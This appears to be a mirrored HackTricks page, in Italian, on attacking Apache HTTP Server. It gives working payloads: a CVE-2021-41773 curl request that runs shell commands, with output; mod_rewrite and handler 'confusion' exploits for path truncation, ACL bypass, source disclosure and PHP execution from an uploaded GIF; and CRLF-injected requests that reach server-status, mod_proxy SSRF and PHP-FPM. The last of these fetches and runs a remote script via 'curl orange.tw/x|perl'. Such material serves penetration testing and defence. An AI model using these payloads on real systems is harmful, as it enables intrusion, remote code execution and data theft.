Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/apache.md

15 KiB
Raw Blame History

Apache

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Estensioni PHP eseguibili

Controlla quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire:

grep -R -B1 "httpd-php" /etc/apache2

Inoltre, alcuni luoghi in cui puoi trovare questa configurazione sono:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

{% code overflow="wrap" %}

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

{% endcode %}

Confusion Attack

Questi tipi di attacchi sono stati introdotti e documentati da Orange in questo post del blog e quanto segue è un riassunto. L'attacco "confusion" sfrutta fondamentalmente come i numerosi moduli che lavorano insieme per creare un Apache non funzionano perfettamente sincronizzati e far modificare a alcuni di essi dei dati inaspettati può causare una vulnerabilità in un modulo successivo.

Filename Confusion

Truncation

Il mod_rewrite trimmerà il contenuto di r->filename dopo il carattere ? (modules/mappers/mod_rewrite.c#L4141). Questo non è totalmente sbagliato poiché la maggior parte dei moduli tratterà r->filename come un URL. Ma in altre occasioni questo sarà trattato come un percorso di file, il che causerebbe un problema.

  • Path Truncation

È possibile abusare di mod_rewrite come nell'esempio della seguente regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Assegnazione ingannevole di RewriteFlag

Nella seguente regola di riscrittura, finché l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere ? mentre si carica nel percorso un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

È possibile accedere a file a cui l'utente non dovrebbe poter accedere anche se l'accesso dovrebbe essere negato con configurazioni come:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Questo è perché per impostazione predefinita PHP-FPM riceverà URL che terminano con .php, come http://server/admin.php%3Fooo.php e poiché PHP-FPM rimuoverà tutto ciò che segue il carattere ?, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva.

Confusione DocumentRoot

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Un fatto divertente su Apache è che la riscrittura precedente cercherà di accedere al file sia dalla documentRoot che dalla root. Quindi, una richiesta a https://server/abouth.html controllerà il file in /var/www/html/about.html e /about.html nel file system. Questo può essere sostanzialmente abusato per accedere ai file nel file system.

Divulgazione del Codice Sorgente Lato Server

  • Divulgare il Codice Sorgente CGI

Basta aggiungere un %3F alla fine per divulgare il codice sorgente di un modulo cgi:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Divulgare il codice sorgente PHP

Se un server ha domini diversi, con uno di essi che è un dominio statico, questo può essere sfruttato per attraversare il file system e divulgare codice php:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipolazione dei Gadget Locali

Il problema principale con l'attacco precedente è che per impostazione predefinita la maggior parte degli accessi al filesystem sarà negata come nel modello di configurazione di Apache HTTP Server:

<Directory />
AllowOverride None
Require all denied
</Directory>

Tuttavia, i sistemi operativi Debian/Ubuntu per impostazione predefinita consentono /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Pertanto, sarebbe possibile abusare dei file situati all'interno di /usr/share in queste distribuzioni.

Gadget Locale per la Divulgazione di Informazioni

  • Apache HTTP Server con websocketd potrebbe esporre lo script dump-env.php a /usr/share/doc/websocketd/examples/php/, che può rivelare variabili ambientali sensibili.
  • I server con Nginx o Jetty potrebbero esporre informazioni sensibili delle applicazioni web (ad es., web.xml) attraverso le loro radici web predefinite collocate sotto /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Gadget Locale per XSS

  • Su Ubuntu Desktop con LibreOffice installato, sfruttare la funzione di cambio lingua dei file di aiuto può portare a Cross-Site Scripting (XSS). Manipolare l'URL a /usr/share/libreoffice/help/help.html può reindirizzare a pagine dannose o versioni precedenti tramite unsafe RewriteRule.

Gadget Locale per LFI

  • Se PHP o alcuni pacchetti front-end come JpGraph o jQuery-jFeed sono installati, i loro file possono essere sfruttati per leggere file sensibili come /etc/passwd:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Gadget Locale per SSRF

  • Utilizzando MagpieRSS's magpie_debug.php a /usr/share/php/magpierss/scripts/magpie_debug.php, è possibile creare facilmente una vulnerabilità SSRF, fornendo un gateway per ulteriori exploit.

Gadget Locale per RCE

  • Le opportunità per Remote Code Execution (RCE) sono vaste, con installazioni vulnerabili come un PHPUnit obsoleto o phpLiteAdmin. Questi possono essere sfruttati per eseguire codice arbitrario, mostrando l'ampio potenziale della manipolazione dei gadget locali.

Jailbreak dai Gadget Locali

È anche possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Inoltre, abusando dei symlink è stato possibile ottenere RCE in Redmine.

Confusione del Gestore

Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive AddHandler e AddType, che possono entrambe essere utilizzate per abilitare l'elaborazione PHP. Originariamente, queste direttive influenzavano campi diversi (r->handler e r->content_type rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache gestisce queste direttive in modo intercambiabile in determinate condizioni, convertendo r->content_type in r->handler se il primo è impostato e il secondo no.

Inoltre, nel server Apache HTTP (server/config.c#L420), se r->handler è vuoto prima di eseguire ap_run_handler(), il server usa r->content_type come gestore, rendendo di fatto AddType e AddHandler identici negli effetti.

Sovrascrivere il Gestore per Divulgare il Codice Sorgente PHP

In questo intervento, è stata presentata una vulnerabilità in cui un errato Content-Length inviato da un client può causare ad Apache di restituire erroneamente il codice sorgente PHP. Questo è avvenuto a causa di un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere r->content_type in text/html.
Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP e non lo interpreterebbe.

Sovrascrivere il Gestore per XXXX

TODO: Orange non ha ancora divulgato questa vulnerabilità

Invocare Gestori Arbitrari

Se un attaccante è in grado di controllare l'intestazione Content-Type in una risposta del server, sarà in grado di invocare gestori di moduli arbitrari. Tuttavia, nel momento in cui l'attaccante controlla questo, la maggior parte del processo della richiesta sarà già stata eseguita. Tuttavia, è possibile riavviare il processo di richiesta abusando dell'intestazione Location perché se lo Status restituito è 200 e l'intestazione Location inizia con un /, la risposta viene trattata come una Redirezione Lato Server e dovrebbe essere elaborata.

Secondo RFC 3875 (specifica sui CGI) nella Sezione 6.2.2 definisce un comportamento di Risposta di Redirect Locale:

Lo script CGI può restituire un percorso URI e una query-string (‘local-pathquery’) per una risorsa locale in un campo intestazione Location. Questo indica al server che dovrebbe rielaborare la richiesta utilizzando il percorso specificato.

Pertanto, per eseguire questo attacco è necessaria una delle seguenti vulnerabilità:

  • Iniezione CRLF nelle intestazioni di risposta CGI
  • SSRF con completo controllo delle intestazioni di risposta

Gestore Arbitrario per la Divulgazione di Informazioni

Ad esempio, /server-status dovrebbe essere accessibile solo localmente:

<Location /server-status>
SetHandler server-status
Require local
</Location>

È possibile accedervi impostando il Content-Type su server-status e l'intestazione Location che inizia con /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Gestore Arbitrario a SSRF Completo

Reindirizzamento a mod_proxy per accedere a qualsiasi protocollo su qualsiasi URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Tuttavia, l'intestazione X-Forwarded-For viene aggiunta per prevenire l'accesso agli endpoint dei metadati del cloud.

Gestore Arbitrario per Accedere al Socket di Dominio Unix Locale

Accedi al Socket di Dominio Unix locale di PHP-FPM per eseguire un backdoor PHP situato in /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Gestore Arbitrario per RCE

L'immagine ufficiale PHP Docker include PEAR (Pearcmd.php), uno strumento di gestione dei pacchetti PHP da riga di comando, che può essere sfruttato per ottenere RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Controlla il Docker PHP LFI Summary, scritto da Phith0n per i dettagli di questa tecnica.

Riferimenti

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}